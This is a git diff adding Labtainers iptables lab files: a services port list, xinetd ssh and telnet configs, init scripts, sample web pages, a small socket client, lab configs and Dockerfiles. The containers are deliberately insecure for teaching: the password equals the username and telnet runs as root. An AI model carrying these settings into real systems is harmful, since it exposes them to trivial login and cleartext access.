+microsoft-ds 445/udp +kpasswd 464/tcp +kpasswd 464/udp +urd 465/tcp ssmtp smtps # URL Rendesvous Directory for SSM +saft 487/tcp # Simple Asynchronous File Transfer +saft 487/udp +isakmp 500/tcp # IPsec - Internet Security Association +isakmp 500/udp # and Key Management Protocol +rtsp 554/tcp # Real Time Stream Control Protocol +rtsp 554/udp +nqs 607/tcp # Network Queuing system +nqs 607/udp +npmp-local 610/tcp dqs313_qmaster # npmp-local / DQS +npmp-local 610/udp dqs313_qmaster +npmp-gui 611/tcp dqs313_execd # npmp-gui / DQS +npmp-gui 611/udp dqs313_execd +hmmp-ind 612/tcp dqs313_intercell # HMMP Indication / DQS +hmmp-ind 612/udp dqs313_intercell +asf-rmcp 623/udp # ASF Remote Management and Control Protocol +qmqp 628/tcp +qmqp 628/udp +ipp 631/tcp # Internet Printing Protocol +ipp 631/udp +# +# UNIX specific services +# +exec 512/tcp +biff 512/udp comsat +login 513/tcp +who 513/udp whod +shell 514/tcp cmd # no passwords used +syslog 514/udp +printer 515/tcp spooler # line printer spooler +talk 517/udp +ntalk 518/udp +route 520/udp router routed # RIP +timed 525/udp timeserver +tempo 526/tcp newdate +courier 530/tcp rpc +conference 531/tcp chat +netnews 532/tcp readnews +netwall 533/udp # for emergency broadcasts +gdomap 538/tcp # GNUstep distributed objects +gdomap 538/udp +uucp 540/tcp uucpd # uucp daemon +klogin 543/tcp # Kerberized `rlogin' (v5) +kshell 544/tcp krcmd # Kerberized `rsh' (v5) +dhcpv6-client 546/tcp +dhcpv6-client 546/udp +dhcpv6-server 547/tcp +dhcpv6-server 547/udp +afpovertcp 548/tcp # AFP over TCP +afpovertcp 548/udp +idfp 549/tcp +idfp 549/udp +remotefs 556/tcp rfs_server rfs # Brunhoff remote filesystem +nntps 563/tcp snntp # NNTP over SSL +nntps 563/udp snntp +submission 587/tcp # Submission [RFC4409] +submission 587/udp +ldaps 636/tcp # LDAP over SSL +ldaps 636/udp +tinc 655/tcp # tinc control port +tinc 655/udp +silc 706/tcp +silc 706/udp +kerberos-adm 749/tcp # Kerberos `kadmin' (v5) +# +webster 765/tcp # Network dictionary +webster 765/udp +rsync 873/tcp +rsync 873/udp +ftps-data 989/tcp # FTP over SSL (data) +ftps 990/tcp +telnets 992/tcp # Telnet over SSL +telnets 992/udp +imaps 993/tcp # IMAP over SSL +imaps 993/udp +ircs 994/tcp # IRC over SSL +ircs 994/udp +pop3s 995/tcp # POP-3 over SSL +pop3s 995/udp +# +# From ``Assigned Numbers'': +# +#> The Registered Ports are not controlled by the IANA and on most systems +#> can be used by ordinary user processes or programs executed by ordinary +#> users. +# +#> Ports are used in the TCP [45,106] to name the ends of logical +#> connections which carry long term conversations. For the purpose of +#> providing services to unknown callers, a service contact port is +#> defined. This list specifies the port used by the server process as its +#> contact port. While the IANA can not control uses of these ports it +#> does register or list uses of these ports as a convienence to the +#> community. +# +socks 1080/tcp # socks proxy server +socks 1080/udp +proofd 1093/tcp +proofd 1093/udp +rootd 1094/tcp +rootd 1094/udp +openvpn 1194/tcp +openvpn 1194/udp +rmiregistry 1099/tcp # Java RMI Registry +rmiregistry 1099/udp +kazaa 1214/tcp +kazaa 1214/udp +nessus 1241/tcp # Nessus vulnerability +nessus 1241/udp # assessment scanner +lotusnote 1352/tcp lotusnotes # Lotus Note +lotusnote 1352/udp lotusnotes +ms-sql-s 1433/tcp # Microsoft SQL Server +ms-sql-s 1433/udp +ms-sql-m 1434/tcp # Microsoft SQL Monitor +ms-sql-m 1434/udp +ingreslock 1524/tcp +ingreslock 1524/udp +prospero-np 1525/tcp # Prospero non-privileged +prospero-np 1525/udp +datametrics 1645/tcp old-radius +datametrics 1645/udp old-radius +sa-msg-port 1646/tcp old-radacct +sa-msg-port 1646/udp old-radacct +kermit 1649/tcp +kermit 1649/udp +groupwise 1677/tcp +groupwise 1677/udp +l2f 1701/tcp l2tp +l2f 1701/udp l2tp +radius 1812/tcp +radius 1812/udp +radius-acct 1813/tcp radacct # Radius Accounting +radius-acct 1813/udp radacct +msnp 1863/tcp # MSN Messenger +msnp 1863/udp +unix-status 1957/tcp # remstats unix-status server +log-server 1958/tcp # remstats log server +remoteping 1959/tcp # remstats remoteping server +cisco-sccp 2000/tcp # Cisco SCCP +cisco-sccp 2000/udp +search 2010/tcp ndtp +pipe-server 2010/tcp pipe_server +nfs 2049/tcp # Network File System +nfs 2049/udp # Network File System +gnunet 2086/tcp +gnunet 2086/udp +rtcm-sc104 2101/tcp # RTCM SC-104 IANA 1/29/99 +rtcm-sc104 2101/udp +gsigatekeeper 2119/tcp +gsigatekeeper 2119/udp +gris 2135/tcp # Grid Resource Information Server +gris 2135/udp +cvspserver 2401/tcp # CVS client/server operations +cvspserver 2401/udp +venus 2430/tcp # codacon port +venus 2430/udp # Venus callback/wbc interface +venus-se 2431/tcp # tcp side effects +venus-se 2431/udp # udp sftp side effect +codasrv 2432/tcp # not used +codasrv 2432/udp # server port +codasrv-se 2433/tcp # tcp side effects +codasrv-se 2433/udp # udp sftp side effect +mon 2583/tcp # MON traps +mon 2583/udp +dict 2628/tcp # Dictionary server +dict 2628/udp +f5-globalsite 2792/tcp +f5-globalsite 2792/udp +gsiftp 2811/tcp +gsiftp 2811/udp +gpsd 2947/tcp +gpsd 2947/udp +gds-db 3050/tcp gds_db # InterBase server +gds-db 3050/udp gds_db +icpv2 3130/tcp icp # Internet Cache Protocol +icpv2 3130/udp icp +iscsi-target 3260/tcp +mysql 3306/tcp +mysql 3306/udp +nut 3493/tcp # Network UPS Tools +nut 3493/udp +distcc 3632/tcp # distributed compiler +distcc 3632/udp +daap 3689/tcp # Digital Audio Access Protocol +daap 3689/udp +svn 3690/tcp subversion # Subversion protocol +svn 3690/udp subversion +suucp 4031/tcp # UUCP over SSL +suucp 4031/udp +sysrqd 4094/tcp # sysrq daemon +sysrqd 4094/udp +sieve 4190/tcp # ManageSieve Protocol +epmd 4369/tcp # Erlang Port Mapper Daemon +epmd 4369/udp +remctl 4373/tcp # Remote Authenticated Command Service +remctl 4373/udp +f5-iquery 4353/tcp # F5 iQuery +f5-iquery 4353/udp +ipsec-nat-t 4500/udp # IPsec NAT-Traversal [RFC3947] +iax 4569/tcp # Inter-Asterisk eXchange +iax 4569/udp +mtn 4691/tcp # monotone Netsync Protocol +mtn 4691/udp +radmin-port 4899/tcp # RAdmin Port +radmin-port 4899/udp +rfe 5002/udp # Radio Free Ethernet +rfe 5002/tcp +mmcc 5050/tcp # multimedia conference control tool (Yahoo IM) +mmcc 5050/udp +sip 5060/tcp # Session Initiation Protocol +sip 5060/udp +sip-tls 5061/tcp +sip-tls 5061/udp +aol 5190/tcp # AIM +aol 5190/udp +xmpp-client 5222/tcp jabber-client # Jabber Client Connection +xmpp-client 5222/udp jabber-client +xmpp-server 5269/tcp jabber-server # Jabber Server Connection +xmpp-server 5269/udp jabber-server +cfengine 5308/tcp +cfengine 5308/udp +mdns 5353/tcp # Multicast DNS +mdns 5353/udp +postgresql 5432/tcp postgres # PostgreSQL Database +postgresql 5432/udp postgres +freeciv 5556/tcp rptp # Freeciv gameplay +freeciv 5556/udp +amqps 5671/tcp # AMQP protocol over TLS/SSL +amqp 5672/tcp +amqp 5672/udp +amqp 5672/sctp +ggz 5688/tcp # GGZ Gaming Zone +ggz 5688/udp +x11 6000/tcp x11-0 # X Window System +x11 6000/udp x11-0 +x11-1 6001/tcp +x11-1 6001/udp +x11-2 6002/tcp +x11-2 6002/udp +x11-3 6003/tcp +x11-3 6003/udp +x11-4 6004/tcp +x11-4 6004/udp +x11-5 6005/tcp +x11-5 6005/udp +x11-6 6006/tcp +x11-6 6006/udp +x11-7 6007/tcp +x11-7 6007/udp +gnutella-svc 6346/tcp # gnutella +gnutella-svc 6346/udp +gnutella-rtr 6347/tcp # gnutella +gnutella-rtr 6347/udp +sge-qmaster 6444/tcp sge_qmaster # Grid Engine Qmaster Service +sge-qmaster 6444/udp sge_qmaster +sge-execd 6445/tcp sge_execd # Grid Engine Execution Service +sge-execd 6445/udp sge_execd +mysql-proxy 6446/tcp # MySQL Proxy +mysql-proxy 6446/udp +afs3-fileserver 7000/tcp bbs # file server itself +afs3-fileserver 7000/udp bbs +afs3-callback 7001/tcp # callbacks to cache managers +afs3-callback 7001/udp +afs3-prserver 7002/tcp # users & groups database +afs3-prserver 7002/udp +afs3-vlserver 7003/tcp # volume location database +afs3-vlserver 7003/udp +afs3-kaserver 7004/tcp # AFS/Kerberos authentication +afs3-kaserver 7004/udp +afs3-volser 7005/tcp # volume managment server +afs3-volser 7005/udp +afs3-errors 7006/tcp # error interpretation service +afs3-errors 7006/udp +afs3-bos 7007/tcp # basic overseer process +afs3-bos 7007/udp +afs3-update 7008/tcp # server-to-server updater +afs3-update 7008/udp +afs3-rmtsys 7009/tcp # remote cache manager service +afs3-rmtsys 7009/udp +font-service 7100/tcp xfs # X Font Service +font-service 7100/udp xfs +http-alt 8080/tcp webcache # WWW caching service +http-alt 8080/udp +bacula-dir 9101/tcp # Bacula Director +bacula-dir 9101/udp +bacula-fd 9102/tcp # Bacula File Daemon +bacula-fd 9102/udp +bacula-sd 9103/tcp # Bacula Storage Daemon +bacula-sd 9103/udp +xmms2 9667/tcp # Cross-platform Music Multiplexing System +xmms2 9667/udp +nbd 10809/tcp # Linux Network Block Device +zabbix-agent 10050/tcp # Zabbix Agent +zabbix-agent 10050/udp +zabbix-trapper 10051/tcp # Zabbix Trapper +zabbix-trapper 10051/udp +amanda 10080/tcp # amanda backup services +amanda 10080/udp +dicom 11112/tcp +hkp 11371/tcp # OpenPGP HTTP Keyserver +hkp 11371/udp +bprd 13720/tcp # VERITAS NetBackup +bprd 13720/udp +bpdbm 13721/tcp # VERITAS NetBackup +bpdbm 13721/udp +bpjava-msvc 13722/tcp # BP Java MSVC Protocol +bpjava-msvc 13722/udp +vnetd 13724/tcp # Veritas Network Utility +vnetd 13724/udp +bpcd 13782/tcp # VERITAS NetBackup +bpcd 13782/udp +vopied 13783/tcp # VERITAS NetBackup +vopied 13783/udp +db-lsp 17500/tcp # Dropbox LanSync Protocol +dcap 22125/tcp # dCache Access Protocol +gsidcap 22128/tcp # GSI dCache Access Protocol +wnn6 22273/tcp # wnn6 +wnn6 22273/udp + +# +# Datagram Delivery Protocol services +# +rtmp 1/ddp # Routing Table Maintenance Protocol +nbp 2/ddp # Name Binding Protocol +echo 4/ddp # AppleTalk Echo Protocol +zip 6/ddp # Zone Information Protocol + +#========================================================================= +# The remaining port numbers are not as allocated by IANA. +#========================================================================= + +# Kerberos (Project Athena/MIT) services +# Note that these are for Kerberos v4, and are unofficial. Sites running +# v4 should uncomment these and comment out the v5 entries above. +# +kerberos4 750/udp kerberos-iv kdc # Kerberos (server) +kerberos4 750/tcp kerberos-iv kdc +kerberos-master 751/udp kerberos_master # Kerberos authentication +kerberos-master 751/tcp +passwd-server 752/udp passwd_server # Kerberos passwd server +krb-prop 754/tcp krb_prop krb5_prop hprop # Kerberos slave propagation +krbupdate 760/tcp kreg # Kerberos registration +swat 901/tcp # swat +kpop 1109/tcp # Pop with Kerberos +knetd 2053/tcp # Kerberos de-multiplexor +zephyr-srv 2102/udp # Zephyr server +zephyr-clt 2103/udp # Zephyr serv-hm connection +zephyr-hm 2104/udp # Zephyr hostmanager +eklogin 2105/tcp # Kerberos encrypted rlogin +# Hmmm. Are we using Kv4 or Kv5 now? Worrying. +# The following is probably Kerberos v5 --- ajt@debian.org (11/02/2000) +kx 2111/tcp # X over Kerberos +iprop 2121/tcp # incremental propagation +# +# Unofficial but necessary (for NetBSD) services +# +supfilesrv 871/tcp # SUP server +supfiledbg 1127/tcp # SUP debugging + +# +# Services added for the Debian GNU/Linux distribution +# +linuxconf 98/tcp # LinuxConf +poppassd 106/tcp # Eudora +poppassd 106/udp +moira-db 775/tcp moira_db # Moira database +moira-update 777/tcp moira_update # Moira update protocol +moira-ureg 779/udp moira_ureg # Moira user registration +spamd 783/tcp # spamassassin daemon +omirr 808/tcp omirrd # online mirror +omirr 808/udp omirrd +customs 1001/tcp # pmake customs server +customs 1001/udp +skkserv 1178/tcp # skk jisho server port +predict 1210/udp # predict -- satellite tracking +rmtcfg 1236/tcp # Gracilis Packeten remote config server +wipld 1300/tcp # Wipl network monitor +xtel 1313/tcp # french minitel +xtelw 1314/tcp # french minitel +support 1529/tcp # GNATS +cfinger 2003/tcp # GNU Finger +frox 2121/tcp # frox: caching ftp proxy +ninstall 2150/tcp # ninstall service +ninstall 2150/udp +zebrasrv 2600/tcp # zebra service +zebra 2601/tcp # zebra vty +ripd 2602/tcp # ripd vty (zebra) +ripngd 2603/tcp # ripngd vty (zebra) +ospfd 2604/tcp # ospfd vty (zebra) +bgpd 2605/tcp # bgpd vty (zebra) +ospf6d 2606/tcp # ospf6d vty (zebra) +ospfapi 2607/tcp # OSPF-API +isisd 2608/tcp # ISISd vty (zebra) +afbackup 2988/tcp # Afbackup system +afbackup 2988/udp +afmbackup 2989/tcp # Afmbackup system +afmbackup 2989/udp +xtell 4224/tcp # xtell server +fax 4557/tcp # FAX transmission service (old) +hylafax 4559/tcp # HylaFAX client-server protocol (new) +distmp3 4600/tcp # distmp3host daemon +munin 4949/tcp lrrd # Munin +enbd-cstatd 5051/tcp # ENBD client statd +enbd-sstatd 5052/tcp # ENBD server statd +pcrd 5151/tcp # PCR-1000 Daemon +noclog 5354/tcp # noclogd with TCP (nocol) +noclog 5354/udp # noclogd with UDP (nocol) +hostmon 5355/tcp # hostmon uses TCP (nocol) +hostmon 5355/udp # hostmon uses UDP (nocol) +rplay 5555/udp # RPlay audio service +nrpe 5666/tcp # Nagios Remote Plugin Executor +nsca 5667/tcp # Nagios Agent - NSCA +mrtd 5674/tcp # MRT Routing Daemon +bgpsim 5675/tcp # MRT Routing Simulator +canna 5680/tcp # cannaserver +syslog-tls 6514/tcp # Syslog over TLS [RFC5425] +sane-port 6566/tcp sane saned # SANE network scanner daemon +ircd 6667/tcp # Internet Relay Chat +zope-ftp 8021/tcp # zope management by ftp +tproxy 8081/tcp # Transparent Proxy +omniorb 8088/tcp # OmniORB +omniorb 8088/udp +clc-build-daemon 8990/tcp # Common lisp build daemon +xinetd 9098/tcp +mandelspawn 9359/udp mandelbrot # network mandelbrot +git 9418/tcp # Git Version Control System +zope 9673/tcp # zope server +webmin 10000/tcp +kamanda 10081/tcp # amanda backup services (Kerberos) +kamanda 10081/udp +amandaidx 10082/tcp # amanda backup services +amidxtape 10083/tcp # amanda backup services +smsqp 11201/tcp # Alamin SMS gateway +smsqp 11201/udp +xpilot 15345/tcp # XPilot Contact Port +xpilot 15345/udp +sgi-cmsd 17001/udp # Cluster membership services daemon +sgi-crsd 17002/udp +sgi-gcd 17003/udp # SGI Group membership daemon +sgi-cad 17004/tcp # Cluster Admin daemon +isdnlog 20011/tcp # isdn logging system +isdnlog 20011/udp +vboxd 20012/tcp # voice box system +vboxd 20012/udp +binkp 24554/tcp # binkp fidonet protocol +asp 27374/tcp # Address Search Protocol +asp 27374/udp +csync2 30865/tcp # cluster synchronization tool +dircproxy 57000/tcp # Detachable IRC Proxy +tfido 60177/tcp # fidonet EMSI over telnet +fido 60179/tcp # fidonet EMSI over TCP + +# Local services diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/etc/xinetd.d/telnet b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/etc/xinetd.d/telnet new file mode 100644 index 000000000..b1791994e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/etc/xinetd.d/telnet @@ -0,0 +1,10 @@ +service telnet +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/in.telnetd + log_on_failure += USERID + disable = no +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/etc/xinetd.d/telnetx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/etc/xinetd.d/telnetx new file mode 100644 index 000000000..41125dc28 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/etc/xinetd.d/telnetx @@ -0,0 +1,11 @@ +service telnetx +{ + flags = REUSE + socket_type = stream + port = 2023 + wait = no + user = root + server = /usr/sbin/in.telnetd + log_on_failure += USERID + disable = no +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/lib/systemd/system/httpserver.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/lib/systemd/system/httpserver.service new file mode 100644 index 000000000..aea420791 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/lib/systemd/system/httpserver.service @@ -0,0 +1,11 @@ +[Unit] +Description=HTTP Service + +[Service] +Type=simple +ExecStart=/home/ubuntu/MyHTTPServer.py +StandardOutput=null + +[Install] +WantedBy=multi-user.target +Alias=httpserver.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/sbin/faux_init new file mode 100755 index 000000000..d585dd5d8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/_system/sbin/faux_init @@ -0,0 +1,21 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + +/etc/init.d/httpserver.sh start +service xinetd restart + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/filetodigest.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/filetodigest.txt new file mode 100644 index 000000000..6e6a10260 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/filetodigest.txt @@ -0,0 +1,2 @@ +# the file is parameterized to be unique for each student +My string is: MY_DIGEST diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/index.html new file mode 100644 index 000000000..ff1b7c6c1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/index.html @@ -0,0 +1,12 @@ + +Sample index.html for MyHTTPServer + +

Sample index.html for MyHTTPServer

+
+

Links:

+
+link1.html +
+link2.html + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/link1.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/link1.html new file mode 100644 index 000000000..485184386 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/link1.html @@ -0,0 +1,15 @@ + +Sample link1.html for MyHTTPServer + +This is sample

link1.html

for MyHTTPServer +
+index.html +
+link2.html +
+# The secret string below will be replaced with a keyed hash +
+My secret string is: HTTP_SECRET +
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/link2.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/link2.html new file mode 100644 index 000000000..590447299 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/server/link2.html @@ -0,0 +1,15 @@ + +Sample link2.html for MyHTTPServer + +This is sample

link2.html

for MyHTTPServer +
+index.html +
+link1.html +
+# The secret string below will be replaced with a keyed hash +
+My secret string is: HTTP_SECRET +
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/_bin/fixlocal.sh new file mode 100755 index 000000000..f5856942a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/_bin/fixlocal.sh @@ -0,0 +1,5 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/_bin/treataslocal new file mode 100644 index 000000000..bcf71275b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/_bin/treataslocal @@ -0,0 +1 @@ +/usr/bin/nmap diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/_system/etc/rc.local new file mode 100755 index 000000000..98a2c9fdf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/_system/etc/rc.local @@ -0,0 +1,18 @@ +#!/bin/bash +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# By default this script does nothing. + +# route to server +route add -net 172.25.0.0/24 gw 172.24.0.4 + +exit 0 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/_system/sbin/faux_init new file mode 100755 index 000000000..21cbc5490 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/wizbang b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/wizbang new file mode 100755 index 000000000..43fb678c5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/wizbang @@ -0,0 +1,34 @@ +#!/usr/bin/env python +''' +Dumb client interacting with a dumb server +''' +import socket +import sys +import signal +def signal_handler(sig, frame): + print('Interrupted, exiting') + sys.exit(0) +try: + import ssl +except ImportError: + pass +else: + signal.signal(signal.SIGINT, signal_handler) + SERVICE_PORT = WIZ_PORT + if len(sys.argv) < 2: + print('ERROR: missing argument. Usage:') + print(' ./wizbang ') + exit(1) + server_host = '172.25.0.3' + instruction = ' '.join(sys.argv[1:]) + this_host = socket.gethostname() + conn = socket.socket(socket.AF_INET) + try: + conn.connect((server_host, SERVICE_PORT)) + except socket.error as ss: + print('ERROR: %s' % str(ss)) + exit(1) + print('Sending instruction %s' % instruction) + conn.sendall('%s\n' % instruction) + print('bye') + conn.close() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/about.txt new file mode 100644 index 000000000..5f7214f30 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/about.txt @@ -0,0 +1 @@ +Configure a "firewall" component using iptables to only forward selected services diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/parameter.config new file mode 100644 index 000000000..a42bd959b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# +WIZ_PORT : RAND_REPLACE : server:server;client:wizbang : WIZ_PORT : 10003 : 10090 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/start.config new file mode 100644 index 000000000..e9ab25ac2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/start.config @@ -0,0 +1,55 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER client + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED iptables_mike_master_seed + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK CLIENT_NET + MASK 172.24.0.0/24 + GATEWAY 172.24.0.101 +NETWORK SERVER_NET + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER client + # user name of user who interacts with the container. + USER ubuntu + CLIENT_NET 172.24.0.3 + ADD-HOST server:172.25.0.3 +CONTAINER server + # user name of user who interacts with the container. + USER ubuntu + SERVER_NET 172.25.0.3 + TERMINALS 0 +CONTAINER firewall + # user name of user who interacts with the container. + USER ubuntu + SERVER_NET 172.25.0.4 + CLIENT_NET 172.24.0.4 + X11 YES + TERMINALS 2 + TERMINAL_GROUP 1 + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/version b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/version new file mode 100644 index 000000000..26091e776 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/version @@ -0,0 +1 @@ +iptables 2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.client.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.client.student new file mode 100644 index 000000000..850a25c0e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.client.student @@ -0,0 +1,30 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends telnet +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo + +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.firewall.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.firewall.student new file mode 100644 index 000000000..e479e57d3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.firewall.student @@ -0,0 +1,28 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.wireshark +ARG lab +ARG labdir +ARG imagedir +ARG apt_source +ARG user_name +RUN apt-get update && apt-get install -y --no-install-recommends ulogd +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo + +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git 